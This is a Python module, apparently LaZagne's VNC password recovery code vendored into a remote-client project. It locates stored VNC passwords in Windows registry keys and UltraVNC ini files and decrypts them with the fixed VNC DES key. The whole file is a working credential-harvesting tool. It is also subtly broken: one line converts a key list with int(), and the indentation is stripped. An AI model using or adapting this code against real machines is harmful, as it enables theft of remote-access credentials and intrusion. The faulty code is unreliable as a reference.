1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
|
# Code based on vncpasswd.py by trinitronx
# https://github.com/trinitronx/vncpasswd.py
import binascii
import codecs
import traceback
try:
import _winreg as winreg
except ImportError:
import winreg
from . import d3des as d
from foreign.client_handling.lazagne.config.winstructure import *
from foreign.client_handling.lazagne.config.module_info import ModuleInfo
class Vnc(ModuleInfo):
def __init__(self):
self.vnckey = [23, 82, 107, 6, 35, 78, 88, 7]
ModuleInfo.__init__(self, name='vnc', category='sysadmin')
def split_len(self, seq, length):
return [seq[i:i + length] for i in range(0, len(seq), length)]
def do_crypt(self, password, decrypt):
passpadd = (password + '\x00' * 8)[:8]
strkey = b''.join([chr_or_byte(x) for x in int(self.vnckey)])
key = d.deskey(strkey, decrypt)
crypted = d.desfunc(passpadd, key)
return crypted
def unhex(self, s):
try:
s = codecs.decode(s, 'hex')
except TypeError as e:
if e.message == 'Odd-length string':
self.debug('%s . Chopping last char off... "%s"' % (e.message, s[:-1]))
s = codecs.decode(s[:-1], 'hex')
else:
return False
return s
def reverse_vncpassword(self, hash):
encpasswd = self.unhex(hash)
pwd = None
if encpasswd:
# If the hex encoded passwd length is longer than 16 hex chars and divisible
# by 16, then we chop the passwd into blocks of 64 bits (16 hex chars)
# (1 hex char = 4 binary bits = 1 nibble)
hexpasswd = codecs.encode(encpasswd, 'hex')
if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0:
splitstr = self.split_len(codecs.encode(hash, 'hex'), 16)
cryptedblocks = []
for sblock in splitstr:
cryptedblocks.append(self.do_crypt(codecs.decode(sblock, 'hex'), True))
pwd = b''.join(cryptedblocks)
elif len(hexpasswd) <= 16:
pwd = self.do_crypt(encpasswd, True)
else:
pwd = self.do_crypt(encpasswd, True)
return pwd
def vnc_from_registry(self):
pfound = []
vncs = (
('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4', 'Password'),
('RealVNC 3.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\vncserver', 'Password'),
('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'),
('RealVNC 4.x', 'HKEY_CURRENT_USER\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'),
('RealVNC 3.x', 'HKEY_CURRENT_USER\\Software\\ORL\\WinVNC3', 'Password'),
('TightVNC', 'HKEY_CURRENT_USER\\Software\\TightVNC\\Server', 'Password'),
('TightVNC', 'HKEY_CURRENT_USER\\Software\\TightVNC\\Server', 'PasswordViewOnly'),
('TightVNC', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'Password'),
('TightVNC ControlPassword', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'ControlPassword'),
('TightVNC', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'PasswordViewOnly'),
('TigerVNC', 'HKEY_LOCAL_MACHINE\\Software\\TigerVNC\\Server', 'Password'),
('TigerVNC', 'HKEY_CURRENT_USER\\Software\\TigerVNC\\Server', 'Password'),
)
for vnc in vncs:
try:
if vnc[1].startswith('HKEY_LOCAL_MACHINE'):
hkey = OpenKey(HKEY_LOCAL_MACHINE, vnc[1].replace('HKEY_LOCAL_MACHINE\\', ''))
elif vnc[1].startswith('HKEY_CURRENT_USER'):
hkey = OpenKey(HKEY_CURRENT_USER, vnc[1].replace('HKEY_CURRENT_USER\\', ''))
reg_key = winreg.QueryValueEx(hkey, vnc[2])[0]
except Exception:
self.debug(u'Problems with key:: {reg_key}'.format(reg_key=vnc[1]))
continue
try:
enc_pwd = binascii.hexlify(reg_key).decode()
except Exception:
self.debug(u'Problems with decoding: {reg_key}'.format(reg_key=reg_key))
continue
values = {}
try:
password = self.reverse_vncpassword(enc_pwd)
if password:
values['Password'] = password
except Exception:
self.info(u'Problems with reverse_vncpassword: {reg_key}'.format(reg_key=reg_key))
self.debug()
continue
values['Server'] = vnc[0]
# values['Hash'] = enc_pwd
pfound.append(values)
return pfound
def vnc_from_filesystem(self):
# os.environ could be used here because paths are identical between users
pfound = []
vncs = (
('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd'),
('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd2'),
('UltraVNC', os.environ['PROGRAMFILES'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd'),
('UltraVNC', os.environ['PROGRAMFILES'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd2'),
('UltraVNC', os.environ['PROGRAMFILES'] + '\\UltraVNC\\ultravnc.ini', 'passwd'),
('UltraVNC', os.environ['PROGRAMFILES'] + '\\UltraVNC\\ultravnc.ini', 'passwd2'),
('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\UltraVNC\\ultravnc.ini', 'passwd'),
('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\UltraVNC\\ultravnc.ini', 'passwd2'),
)
for vnc in vncs:
string_to_match = vnc[2] + '='
enc_pwd = ''
try:
with open(vnc[1], 'r') as file:
for line in file:
if string_to_match in line:
enc_pwd = line.replace(string_to_match, '').replace('\n', '')
except Exception:
self.debug('Problems with file: {file}'.format(file=vnc[1]))
continue
values = {}
try:
password = self.reverse_vncpassword(enc_pwd)
if password:
values['Password'] = password
except Exception:
self.debug(u'Problems with reverse_vncpassword: {enc_pwd}'.format(enc_pwd=enc_pwd))
self.debug(traceback.format_exc())
continue
values['Server'] = vnc[0]
# values['Hash'] = enc_pwd
pfound.append(values)
return pfound
def vnc_from_process(self):
# Not yet implemented
return []
def run(self):
return self.vnc_from_filesystem() + self.vnc_from_registry() + self.vnc_from_process()
|